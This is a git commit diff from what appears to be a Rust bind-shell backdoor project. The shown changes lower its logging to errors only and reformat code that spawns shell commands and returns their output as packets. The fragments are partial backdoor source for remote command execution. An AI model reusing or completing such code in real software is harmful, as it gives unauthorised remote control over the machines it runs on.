feat: added the ability to send commands
This commit is contained in:
@@ -27,7 +27,7 @@ async fn main() -> anyhow::Result<()> {
|
||||
async fn handled_main() -> anyhow::Result<()> {
|
||||
simple_logger::SimpleLogger::new()
|
||||
.with_level(log::LevelFilter::Off)
|
||||
.with_module_level("ex_bind_shell_backdoor", log::LevelFilter::Info)
|
||||
.with_module_level("ex_bind_shell_backdoor", log::LevelFilter::Error)
|
||||
.init()?;
|
||||
|
||||
let pubkey =
|
||||
@@ -214,7 +214,7 @@ async fn handle_command(
|
||||
.stdin(Stdio::null())
|
||||
.stdout(Stdio::piped())
|
||||
.stderr(Stdio::piped()))
|
||||
.spawn() else {
|
||||
.spawn() else {
|
||||
if let Err(e) = send_response.send(error_eth_packet.clone()).await {
|
||||
log::warn!("Could not send command done packet: {e:?}");
|
||||
}
|
||||
@@ -243,7 +243,9 @@ async fn handle_command(
|
||||
let (out_type, Ok(len)) = tokio::select! {
|
||||
v = stdout.read(&mut stdout_buffer[..]) => (Output::Out, v),
|
||||
v = stderr.read(&mut stderr_buffer[..]) => (Output::Err, v)
|
||||
} else { continue; };
|
||||
} else {
|
||||
continue;
|
||||
};
|
||||
|
||||
if len == 0 {
|
||||
break;
|
||||
|
||||
Reference in New Issue
Block a user